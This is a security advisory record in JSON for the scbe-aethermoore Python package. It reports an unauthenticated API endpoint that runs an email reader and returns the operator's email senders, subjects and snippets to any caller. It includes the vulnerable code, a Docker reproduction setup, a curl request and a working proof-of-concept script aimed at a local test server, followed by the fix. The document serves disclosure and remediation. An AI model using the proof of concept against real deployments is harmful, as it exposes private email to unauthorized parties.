{"id":"PYSEC-2026-4163","summary":"SCBE-AETHERMOORE Unauthenticated AetherBrowser Ops API Exposes Operator Email Digests","details":"### Summary\n\nThe AetherBrowser API server (`scripts/aetherbrowser/api_server.py`) exposes the `POST /api/ops/check-email` endpoint without any authentication. Any remote attacker can call this endpoint and trigger execution of the `email_reader.py` subprocess, which connects to configured ProtonMail or Gmail accounts via IMAP and returns email metadata (sender, subject, body snippet) in the JSON response. The server binds to `0.0.0.0:8100` by default with CORS set to `allow_origins=[\"*\"]`, making it reachable from any network or browser origin. This constitutes a critical information-disclosure vulnerability.\n\n### Details\n\n`scripts/aetherbrowser/api_server.py` registers the following route at line 3008 (report excerpt references line 2987; the actual line is 3008):\n\n```python\n@app.post(\"/api/ops/check-email\")\nasync def ops_check_email():\n    script = ROOT / \"scripts\" / \"apollo\" / \"email_reader.py\"\n    result = await asyncio.to_thread(\n        _run_subprocess,\n        [sys.executable, str(script)],\n        timeout=30,\n    )\n    return {\n        \"output\": result.get(\"stdout\", \"\")[:2000],\n        ...\n    }\n```\n\nNo `Depends()` guard, middleware check, or API-key validation is applied. The decorator is a plain `@app.post(...)`, so FastAPI registers the route with zero access control.\n\nThe server is bound to all interfaces (line 4065/4070):\n\n```python\nuvicorn.run(app, host=\"0.0.0.0\", port=port)   # default port 8100\n```\n\nCORS middleware is configured to allow any origin (lines 486–492):\n\n```python\napp.add_middleware(\n    CORSMiddleware,\n    allow_origins=[\"*\"],\n    ...\n)\n```\n\nWhen the endpoint is called, `email_reader.py` is executed as a subprocess. It loads mail credentials from `config/connector_oauth/.env.connector.oauth` (line 29–34 of `email_reader.py`):\n\n```python\n# loads PROTONMAIL_BRIDGE_PASSWORD, GMAIL_APP_PASSWORD, etc.\n```\n\nWith credentials present, the script connects via IMAP, fetches full RFC822 messages, and prints sender, subject, and a body snippet to stdout (lines 273–299). The API then returns the first 2000 characters of that stdout to the unauthenticated caller as JSON.\n\n**Complete data-flow path:**\n\n1. `api_server.py:4065+4070` — server starts on `0.0.0.0:8100`\n2. `api_server.py:486–492` — CORS `allow_origins=[\"*\"]` permits cross-origin requests\n3. `api_server.py:3008` — `POST /api/ops/check-email` registered without auth\n4. `api_server.py:3011–3023` — `_run_subprocess([sys.executable, str(script)])` invoked; stdout captured\n5. `email_reader.py:29–34` — connector env file loaded, credentials extracted\n6. `email_reader.py:378–394` — IMAP login using `PROTONMAIL_BRIDGE_PASSWORD` / `GMAIL_APP_PASSWORD`\n7. `email_reader.py:273–299` — RFC822 messages fetched; sender, subject, snippet printed to stdout\n8. `api_server.py:3023` — `stdout[:2000]` returned in JSON response to caller\n\nEven without credentials configured, the subprocess executes and returns its banner output, confirming the unauthenticated code path reaches the sensitive subprocess invocation.\n\n### PoC\n\n**Prerequisites:**\n\n- Docker installed on the attacker or test machine.\n- Repository source available under `repo/` within the build context.\n\n**Step 1 — Build the Docker image:**\n\n```bash\ndocker build -t vuln001-aetherbrowser -f vuln-001/Dockerfile .\n```\n\nThe Dockerfile (`vuln-001/Dockerfile`) installs `fastapi`, `uvicorn`, and `pydantic`, copies the repository source, and starts `scripts/aetherbrowser/api_server.py` on port 8100.\n\n**Step 2 — Start the container:**\n\n```bash\ndocker run --rm -d --name vuln001-test -p 8100:8100 vuln001-aetherbrowser\n```\n\n**Step 3 — Run the PoC script:**\n\n```bash\npython3 vuln-001/poc.py --host 127.0.0.1 --port 8100\n```\n\nOr send the request manually with no authentication headers:\n\n```bash\ncurl -s -X POST http://127.0.0.1:8100/api/ops/check-email \\\n  -H 'Content-Type: application/json' \\\n  -d '{}'\n```\n\n**Expected result (no credentials configured):**\n\n```json\n{\n  \"output\": \"APOLLO EMAIL READER\\n============================================================\\n  [ProtonMail] No PROTONMAIL_BRIDGE_PASSWORD set\\n  [Gmail] No GMAIL_APP_PASSWORD set\\n\\nNo emails found.\\n\",\n  \"exit_code\": 0,\n  \"errors\": null\n}\n```\n\nHTTP status 200 is returned with no `401` or `403`, and the subprocess stdout appears in the response. In a production deployment with `PROTONMAIL_BRIDGE_PASSWORD` or `GMAIL_APP_PASSWORD` set, the response would contain real email metadata (senders, subjects, body snippets).\n\n**Dynamic test result (Phase 2):**\n\nThe Phase 2 dynamic test confirmed HTTP 200 with the `APOLLO EMAIL READER` banner in the response body. Server access log showed `\"POST /api/ops/check-email HTTP/1.1\" 200 OK` from an unauthenticated source. The subprocess was executed without any authentication gate being triggered.\n\n**Remediation:**\n\nAdd a mandatory API-key dependency to all `/api/ops/*` routes:\n\n```diff\n-from fastapi import FastAPI, HTTPException, Query, Request\n+from fastapi import Depends, FastAPI, Header, HTTPException, Query, Request, status\n\n+def require_ops_api_key(x_api_key: Optional[str] = Header(default=None)) -\u003e None:\n+    expected = os.environ.get(\"AETHERBROWSER_OPS_API_KEY\", \"\").strip()\n+    if not expected:\n+        raise HTTPException(\n+            status_code=status.HTTP_503_SERVICE_UNAVAILABLE,\n+            detail=\"ops endpoints disabled: AETHERBROWSER_OPS_API_KEY is not configured\",\n+        )\n+    if not x_api_key or not hmac.compare_digest(x_api_key, expected):\n+        raise HTTPException(status_code=status.HTTP_401_UNAUTHORIZED, detail=\"invalid ops API key\")\n\n-@app.post(\"/api/ops/check-email\")\n+@app.post(\"/api/ops/check-email\", dependencies=[Depends(require_ops_api_key)])\n async def ops_check_email():\n```\n\nAdditionally, the server should default to `127.0.0.1` instead of `0.0.0.0`, and stdout from operational subprocesses should never be returned verbatim to callers.\n\n### Impact\n\nAn unauthenticated remote attacker who can reach port 8100 of a deployed SCBE-AETHERMOORE instance can:\n\n1. **Exfiltrate operator email metadata**: sender addresses, email subjects, and body snippets from the operator's ProtonMail or Gmail inbox are disclosed in the response.\n2. **Enumerate mail configuration**: even without active credentials, the API reveals which mail providers are configured and prints diagnostic output from internal tooling.\n3. **Trigger repeated IMAP sessions**: repeated calls to the endpoint cause repeated IMAP logins using the stored credentials, potentially generating account alerts or exhausting connection limits.\n\nThe vulnerability affects any deployment where `scripts/aetherbrowser/api_server.py` is running and reachable from an untrusted network. Because the server binds to `0.0.0.0` by default with wildcard CORS, cloud deployments and developer machines with exposed ports are directly affected. No credentials, tokens, or prior knowledge of the application are required by the attacker.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# Dockerfile for VULN-001: Unauthenticated /api/ops/check-email endpoint\n# Reproduces CWE-306 (Missing Authentication for Critical Function) in\n# SCBE-AETHERMOORE api_server.py v4.2.1\n#\n# Build context: pypiAi_1296_issdandavis__SCBE-AETHERMOORE/ (parent of vuln-001/)\n# Build:  docker build -t vuln001-aetherbrowser -f vuln-001/Dockerfile .\n# Run:    docker run --rm -p 8100:8100 vuln001-aetherbrowser\n\nFROM python:3.11-slim\n\nWORKDIR /app\n\n# Install only the packages required for api_server.py to start.\n# All other imports (asyncio, subprocess, pathlib, etc.) are stdlib.\nRUN pip install --no-cache-dir \\\n    \"fastapi\u003e=0.100.0\" \\\n    \"uvicorn[standard]\u003e=0.27.0\" \\\n    \"pydantic\u003e=2.0.0\"\n\n# Copy the repository source.\n# The build context is the report root (parent directory of vuln-001/).\nCOPY repo/ /app/\n\nEXPOSE 8100\n\n# Start the AetherBrowser API server on all interfaces at port 8100.\n# This replicates the production start command documented in api_server.py line 6-8.\nCMD [\"python\", \"scripts/aetherbrowser/api_server.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVULN-001 Proof-of-Concept: Unauthenticated /api/ops/check-email\n\nCWE-306 — Missing Authentication for Critical Function\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N  (7.5 High)\n\nTarget: scripts/aetherbrowser/api_server.py (SCBE-AETHERMOORE v4.2.1)\n\nThis PoC demonstrates that:\n  1. POST /api/ops/check-email is accessible without any authentication token.\n  2. The server responds with HTTP 200 instead of 401/403.\n  3. The email-reading subprocess (email_reader.py) is executed and its stdout\n     is returned verbatim in the JSON response — confirming the unauthenticated\n     code path reaches the sensitive subprocess.\n\nUsage:\n    python3 poc.py [--host 127.0.0.1] [--port 8100]\n\"\"\"\n\nimport argparse\nimport json\nimport sys\nimport time\nimport urllib.error\nimport urllib.request\n\n\nTIMEOUT = 10\n\n\ndef wait_for_server(host: str, port: int, max_wait: int = 30) -\u003e bool:\n    \"\"\"Poll the health endpoint until the server is ready.\"\"\"\n    url = f\"http://{host}:{port}/api/health\"\n    deadline = time.time() + max_wait\n    while time.time() \u003c deadline:\n        try:\n            with urllib.request.urlopen(url, timeout=2) as resp:\n                if resp.status \u003c 500:\n                    return True\n        except Exception:\n            pass\n        time.sleep(1)\n    return False\n\n\ndef send_unauthenticated_request(host: str, port: int) -\u003e dict:\n    \"\"\"Send POST /api/ops/check-email with NO authentication headers.\"\"\"\n    url = f\"http://{host}:{port}/api/ops/check-email\"\n    req = urllib.request.Request(\n        url,\n        data=b\"{}\",\n        method=\"POST\",\n        headers={\"Content-Type\" : \"application/json\"},\n        # NOTE: No Authorization header, no X-API-Key, no session cookie.\n    )\n    try:\n        with urllib.request.urlopen(req, timeout=TIMEOUT) as resp:\n            body = resp.read().decode(\"utf-8\", errors=\"replace\")\n            return {\"status\": resp.status, \"body\": body}\n    except urllib.error.HTTPError as exc:\n        body = exc.read().decode(\"utf-8\", errors=\"replace\")\n        return {\"status\": exc.code, \"body\": body}\n    except Exception as exc:\n        return {\"status\": -1, \"body\": str(exc)}\n\n\ndef main() -\u003e int:\n    parser = argparse.ArgumentParser(description=\"VULN-001 PoC — unauthenticated check-email\")\n    parser.add_argument(\"--host\", default=\"127.0.0.1\")\n    parser.add_argument(\"--port\", type=int, default=8100)\n    args = parser.parse_args()\n\n    print(\"=\" * 60)\n    print(\"VULN-001 PoC: Unauthenticated /api/ops/check-email\")\n    print(\"=\" * 60)\n    print(f\"Target: http://{args.host}:{args.port}/api/ops/check-email\")\n    print()\n\n    # Wait for the server to be ready.\n    print(\"[*] Waiting for server to become ready ...\")\n    if not wait_for_server(args.host, args.port):\n        print(\"[!] Server did not become ready within 30 s — check the container\")\n        return 1\n    print(\"[+] Server is up\")\n    print()\n\n    # Send the unauthenticated exploit request.\n    print(\"[*] Sending unauthenticated POST /api/ops/check-email ...\")\n    result = send_unauthenticated_request(args.host, args.port)\n    status = result[\"status\"]\n    body = result[\"body\"]\n\n    print(f\"[*] HTTP status: {status}\")\n    print()\n    print(\"[*] Response body (first 1500 chars):\")\n    print(\"-\" * 60)\n    print(body[:1500])\n    print(\"-\" * 60)\n    print()\n\n    # Parse the JSON response if possible.\n    output_field = \"\"\n    try:\n        parsed = json.loads(body)\n        output_field = parsed.get(\"output\", \"\")\n    except Exception:\n        output_field = \"\"\n\n    # Determine pass/fail.\n    # PASS criteria:\n    #   (a) HTTP 200 — the request was NOT rejected with a 401/403.\n    #   (b) The response body contains the email-reader banner string\n    #       \"APOLLO EMAIL READER\", proving the subprocess was invoked.\n    # Note: Without real IMAP credentials the reader will print the banner\n    # and report \"No PROTONMAIL_BRIDGE_PASSWORD set\" / \"No GMAIL_APP_PASSWORD set\".\n    # With real credentials it would return live email metadata.\n\n    crit_auth = (status == 200)\n    crit_subprocess = (\"APOLLO EMAIL READER\" in output_field or \"APOLLO EMAIL READER\" in body)\n\n    print(\"[*] Criteria evaluation:\")\n    print(f\"    (a) HTTP 200 returned (no auth gate): {'PASS' if crit_auth else 'FAIL'} (got {status})\")\n    print(f\"    (b) Subprocess executed (banner in response): {'PASS' if crit_subprocess else 'FAIL'}\")\n    print()\n\n    if crit_auth and crit_subprocess:\n        print(\"[PASS] Vulnerability confirmed: POST /api/ops/check-email\")\n        print(\"       is reachable without authentication and the email-reading\")\n        print(\"       subprocess is executed, returning its output to the caller.\")\n        return 0\n    elif crit_auth and not crit_subprocess:\n        # Still a valid PASS for the auth-bypass aspect; subprocess may have\n        # errored out but the missing authentication is proven.\n        print(\"[PASS] Auth bypass confirmed: HTTP 200 without credentials.\")\n        print(\"       Subprocess output not captured (may have crashed), but\")\n        print(\"       the endpoint is unauthenticated — CWE-306 is confirmed.\")\n        return 0\n    else:\n        print(\"[FAIL] Could not confirm the vulnerability.\")\n        print(f\"       HTTP status was {status} — expected 200.\")\n        return 2\n\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n```","aliases":["CVE-2026-57443","GHSA-q986-4x7x-gx39"],"modified":"2026-10-01T17:45:16.842174604Z","published":"2026-10-01T16:38:39.907865Z","references":[{"type":"WEB","url":"https://github.com/issdandavis/SCBE-AETHERMOORE/security/advisories/GHSA-q986-4x7x-gx39"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-57443"},{"type":"WEB","url":"https://github.com/issdandavis/SCBE-AETHERMOORE/pull/2287"},{"type":"WEB","url":"https://github.com/issdandavis/SCBE-AETHERMOORE/commit/ca833795e01eab060e92572e5f667c0c136b8c1e"},{"type":"WEB","url":"https://github.com/issdandavis/SCBE-AETHERMOORE/commit/de7779b722c501dbcf4eae95dd51bb3984506fb1"},{"type":"PACKAGE","url":"https://github.com/issdandavis/SCBE-AETHERMOORE"},{"type":"WEB","url":"https://github.com/issdandavis/SCBE-AETHERMOORE/releases/tag/v4.2.1"},{"type":"PACKAGE","url":"https://pypi.org/project/scbe-aethermoore"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-q986-4x7x-gx39"}],"affected":[{"package":{"name":"scbe-aethermoore","ecosystem":"PyPI","purl":"pkg:pypi/scbe-aethermoore"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.2"},{"fixed":"4.2.1"}]}],"versions":["4.1.3","4.2.0"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/scbe-aethermoore/PYSEC-2026-4163.yaml"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"}]}